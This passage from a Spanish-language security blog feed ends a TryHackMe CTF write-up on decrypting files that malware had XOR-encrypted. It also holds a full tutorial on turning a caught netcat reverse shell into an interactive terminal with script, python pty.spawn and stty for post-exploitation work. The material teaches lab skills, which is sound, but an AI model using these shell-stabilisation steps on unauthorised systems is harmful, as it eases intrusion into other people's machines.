    <span class="n">salida</span><span class="o">=</span><span class="nf">open</span><span class="p">(</span><span class="n">archivo_salida</span><span class="p">,</span><span class="sh">"</span><span class="s">wb</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">contenido</span><span class="o">=</span><span class="n">archivo</span><span class="p">.</span><span class="nf">read</span><span class="p">()</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="nf">len</span><span class="p">(</span><span class="n">contenido</span><span class="p">)):</span>
        <span class="n">arr</span><span class="o">=</span><span class="nf">bytes</span><span class="p">(</span><span class="nf">chr</span><span class="p">(</span><span class="n">contenido</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">^</span><span class="n">llave</span><span class="p">[</span><span class="n">i</span><span class="o">%</span><span class="nf">len</span><span class="p">(</span><span class="n">llave</span><span class="p">)]),</span> <span class="sh">'</span><span class="s">utf-8</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">salida</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">arr</span><span class="p">)</span>
</code></pre></div></div>

<p>Una vez que hemos descifrado todos los archivos, crearemos la carpeta <code class="language-plaintext highlighter-rouge">descifrados</code> en el directorio <code class="language-plaintext highlighter-rouge">home</code> de alex y copiaremos los archivos con la herramienta <code class="language-plaintext highlighter-rouge">scp</code> de la siguiente manera:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>scp descifrados/<span class="k">*</span> alex@10.10.72.227:descifrados
</code></pre></div></div>

<p>A continuación, copiamos los archivos al directorio <code class="language-plaintext highlighter-rouge">/usr/local/apache2/htdocs/</code> con la shell de <code class="language-plaintext highlighter-rouge">root</code> <strong><em>y así obtendríamos la flag 5</em></strong>.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp</span> /home/alex/descifrados/<span class="k">*</span> <span class="nb">.</span>
</code></pre></div></div>

<h1 id="conclusiones">Conclusiones</h1>

<p>Con esto terminamos de revertir todos los cambios hechos por el malware y ayudamos a alex a recuperar los archivos que fueron cifrados, espero que les haya gustado y que les haya sido útil, nos vemos hasta otro post y recuerden revisar bien sus correos para no ser victimas de Phishing o Spear Phishing como nuestro amigo Alex ;)</p>]]></content><author><name>Luis Medina</name></author><category term="CTF" /><category term="TryHackMe" /><category term="bash" /><category term="ssh" /><category term="strings" /><category term="reversing" /><category term="malware" /><category term="reverse shell" /><category term="scp" /><category term="echo" /><category term="sed" /><category term="python scripting" /><summary type="html"><![CDATA[Introducción]]></summary></entry><entry><title type="html">Como obtener una shell interactiva a partir de una dumbshell</title><link href="https://c04tl.github.io/posts/Shell-interactiva/" rel="alternate" type="text/html" title="Como obtener una shell interactiva a partir de una dumbshell" /><published>2021-03-16T12:00:00-06:00</published><updated>2021-03-16T12:00:00-06:00</updated><id>https://c04tl.github.io/posts/Shell-interactiva</id><content type="html" xml:base="https://c04tl.github.io/posts/Shell-interactiva/"><![CDATA[<h1 id="introducción">Introducción</h1>

<p>Generalmente cuando obtenemos acceso a través de una conexión inversa o <code class="language-plaintext highlighter-rouge">Reverse Shell</code> nos encontramos con el problema que no podemos usar el autocompletado de la consola, a veces el contenido se muestra con dimensiones incorrectas o se visualiza con identados extraños, sin embargo, en este post veremos como obtener una <code class="language-plaintext highlighter-rouge">Full Interactive shell</code> a partir de una <code class="language-plaintext highlighter-rouge">Dumb Shell</code> en unos sencillos pasos.</p>

<h1 id="procedimiento">Procedimiento</h1>

<p>En mi canal de youtube tengo un vídeo explicando el procedimiento, les dejo aquí el enlace si les gusta más el formato vídeo ;) <a href="https://www.youtube.com/watch?v=3jTIJgSpkbs">Obtener interactive shell</a></p>

<p>Partiremos este tutorial tomando en cuenta que en nuestro <code class="language-plaintext highlighter-rouge">netcat</code> ya hemos recibido una conexión, explicaremos como obtener nuestra <code class="language-plaintext highlighter-rouge">Full Interactive Shell</code> con <code class="language-plaintext highlighter-rouge">bash</code> y con <code class="language-plaintext highlighter-rouge">Python</code>.</p>

<p><img src="/assets/img/3_Shell-Interactiva/1.png" alt="netcat" /></p>

<h2 id="bash">Bash</h2>

<p>Para realizarlo con bash escribimos la siguiente línea de comandos:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>script <span class="nt">-q</span> /dev/null <span class="nt">-c</span> bash
</code></pre></div></div>

<h2 id="python">Python</h2>
<p>Para python utilizaremos la siguiente línea de comandos:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-c</span> <span class="s2">"import pty; pty.spawn('/bin/bash')"</span>
</code></pre></div></div>

<h1 id="procedimiento-continuación">Procedimiento (Continuación)</h1>

<p><strong><em>Con cualquiera de los dos métodos veremos el prompt de bash después de dar enter:</em></strong></p>

<p><img src="/assets/img/3_Shell-Interactiva/2.png" alt="prompt" /></p>

<p>Ahora enviaremos este proceso al <code class="language-plaintext highlighter-rouge">background</code> o segundo plano con la combinacion de teclas <code class="language-plaintext highlighter-rouge">Ctrl+Z</code> y después escribiremos la siguiente línea de comandos:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">stty </span>raw <span class="nt">-echo</span><span class="p">;</span> <span class="nb">fg</span>
</code></pre></div></div>

<p>Estas instrucciones le dicen a bash que imprima nuestra shell actual en modo raw y enseguida le indicamos que regrese al <code class="language-plaintext highlighter-rouge">foreground</code> (fg) la tarea enviada al <code class="language-plaintext highlighter-rouge">background</code>. Despues de dar enter veremos un mensaje donde escribiremos reset (puede que no se vea que estemos escribiendo), finalmente nos preguntara el tipo de terminal y aquí escribiremos <code class="language-plaintext highlighter-rouge">xterm</code>:</p>

<p><img src="/assets/img/3_Shell-Interactiva/3.png" alt="fg" /></p>

<p>Después de dar enter se limpiará la pantalla y tendremos de nueva el prompt de bash, ahora debemos importar dos variables <code class="language-plaintext highlighter-rouge">SHELL</code> y <code class="language-plaintext highlighter-rouge">TERM</code> de la siguiente manera:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">SHELL</span><span class="o">=</span>bash
<span class="nb">export </span><span class="nv">TERM</span><span class="o">=</span>xterm
</code></pre></div></div>
<p><img src="/assets/img/3_Shell-Interactiva/4.png" alt="export" /></p>

<p>En este punto nuestra shell debe permitirnos recorrer el historial (flechas arriba y abajo), limpiar la pantalla (Ctrl+L), cancelar un proceso (Ctrl+C), etc. pero puede que el contenido no se muestren correctamente, para corregir esto abriremos una shell en nuestro equipo y vamos a ejecutar lo siguiente:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">stty </span>size
</code></pre></div></div>
<p><img src="/assets/img/3_Shell-Interactiva/5.png" alt="tamaño" /></p>

<p>Obtendremos las filas (primer número) y las columnas (segundo número) que tiene una shell en nuestro equipo, ahora esos valores los copiaremos a la reverse shell para que se muestre correctamente:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">stty </span>rows 41 columns 172
</code></pre></div></div>

<p><img src="/assets/img/3_Shell-Interactiva/6.png" alt="dimensiones" /></p>

<h1 id="conclusiones">Conclusiones</h1>

<p>Con estos sencillos pasos debemos tener configurada nuestra full interactive shell que nos permitirá explorar la máquina objetivo con más comodidad para las tareas de post-explotación, sin embargo, no siempre funciona debido al tipo de conexiones inversas que obtenemos. Espero que este post les haya gustado y que les haya sido útil, nos vemos en otro tutorial o en otra publicación.</p>]]></content><author><name>Luis Medina</name></author><category term="Tutorial" /><category term="DIY" /><category term="bash" /><category term="reverse shell" /><category term="dumb shell" /><category term="full interactive shell" /><category term="python" /><summary type="html"><![CDATA[Introducción]]></summary></entry></feed>